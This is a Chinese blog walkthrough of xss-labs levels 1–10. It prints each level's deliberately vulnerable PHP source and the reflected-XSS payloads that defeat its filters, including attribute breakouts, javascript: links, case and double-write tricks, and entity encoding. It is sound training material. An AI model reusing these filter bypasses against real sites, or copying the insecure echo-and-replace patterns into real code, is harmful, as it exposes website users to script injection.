首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >xss-labs详解(上)1-10

xss-labs详解(上)1-10

作者头像
wuming
修改2025-07-15 14:49:40
修改2025-07-15 14:49:40
1.2K0
举报
文章被收录于专栏:wuming_CTFwuming_CTF

Level 1

源码

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";//这里直接进行调用,根本没有过滤
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
代码语言:javascript
复制
http://127.0.0.1/xsslabs/xss/level1.php?name=%3Cscript%3Ealert(1)%3C/script%3E

最基本的,我们直接插入语句 <script>alert(1)</script>

Level 2

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

这些被预编译了

这里我们看到还有一个submit,他是input的弹窗,我们在这里进行闭合

源码也可以看到,input的标签,并没有过滤, "> <script>alert('xss')</script> // 我们闭合前面, 注释后面,完成!

htmlspecialchars

把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体: 实体化函数,也是一种预编译的函数,相当于<>不起作用了

Level 3

代码语言:javascript
复制
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

正常输入并不可以,我们进行代码审计 使用了两次 htmlspecialchars

而我们的htmlspecialchars 默认不对'生效 正好这里的value是'闭合的

我们看到这儿,value也闭合了,onlick也闭合了, 只要点击value空白处,就能触发 ' onclick='javascript:alert(/xss/) 'onclick='alert(/xss/) ' onmouseover='javascript:alert(/xss/) 'onmouseover='alert(/xss/) 这两个都可以

JavaScript伪协议

伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,

而是为关联应用程序而使用的.如:tencent://(关联QQ),data:(用base64编码来在浏览器端输出二进制文件),还有就是javascript:

我们可以在浏览地址栏里输入”javascript:alert(‘JS!’);”,点转到后会发现,实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。

Level 4

代码语言:javascript
复制
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

他这里只是把尖括号替换为了空

我们上我们的经典语句 发现了转义,他把尖括号转义了

但是这里并没有进行过滤 我们直接构造闭合value即可

Level 5

一套经典操作过后,发现,单引号没有被转义

发现第一个script被过滤了一点 那么我们再试试onclick

发现onclick也是 那么我们只能把input的标签闭合,然后在定义新的一个没有on的语句 "> <a href="javascript:alert('xss')">

代码语言:javascript
复制
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

我们来查看一下源代码

将script和on都替换了

Level 6

同样一套灌下去,发现单引号并没有,然后script被过滤了

我们使用第五关的代码,发现href也被过滤了 因为str_replace是区分大小写的 那么我们把script或者href大写区分一下就好了

代码语言:javascript
复制
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

查看一下源码,他增添了几个过滤

Level 7

经典语句之后,发现,被置为了空,那么我们双写绕过

发现可以,那么我们闭合之前的括号即可

"><script>alert('1')</script>

代码语言:javascript
复制
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

Level 8

标准一把梭,发现增加了友情链接

发现被禁了,同时将script给过滤了

我们测试又发现,onclick和jaavascript过滤了 基本都被过滤了,那么我们试试实体化编码绕过 就是将他编译过后的在存储进去,那么我们最终显示出来的就是我们需要的代码 https://blog.csdn.net/qq_25899635/article/details/90577336 可以看看这里的解释

这里我们将他实体化, 这是在线网站: https://www.toolmao.com/381.html

java&#115;&#99;&#114;&#105;&#112;&#116;&#13;:alert(1)

代码语言:javascript
复制
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

strtolower

将所有变为小写,防止大小写绕过

Level 9

经典一句话,发现他说不合法, 那么猜一手匹配相应字符 哦~第八关的实体化代码输入不进去 那么我们猜一猜匹配的字符是什么 网址的话 猜一下http://

发现我们的链接存在了, 那么我们将上一关的代码补上

注意一定要将他http://注释掉

代码语言:javascript
复制
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

看代码,果然是匹配了http://

Level 10

第十个,打开只有一张图片,那么猜一下应该是从图片入手

看源代码,发现了三个隐藏的input框

我们把他隐藏的hidden删掉 没有发送按键,那只能在hackbar直接构造了

我们把所有的参数都改成我们的一句话,冲冲冲!

我们发现只有第三个有回显,和之前的很像,而且她过滤了括号 我们猜测使用javascript伪协议

实体化也没能绕过 说明他源代码并没有进行实体化,那么我们考虑考虑直接xss

发现也不可以,

我们把type删掉,然后点击空白框即可 &t_sort=" onclick= "alert(/xss/)

代码语言:javascript
复制
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

将尖括号屏蔽了,其他没有什么,

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-08-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Level 1
  • Level 2
    • htmlspecialchars
  • Level 3
    • JavaScript伪协议
  • Level 4
  • Level 5
  • Level 6
  • Level 7
  • Level 8
    • strtolower
  • Level 9
  • Level 10
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档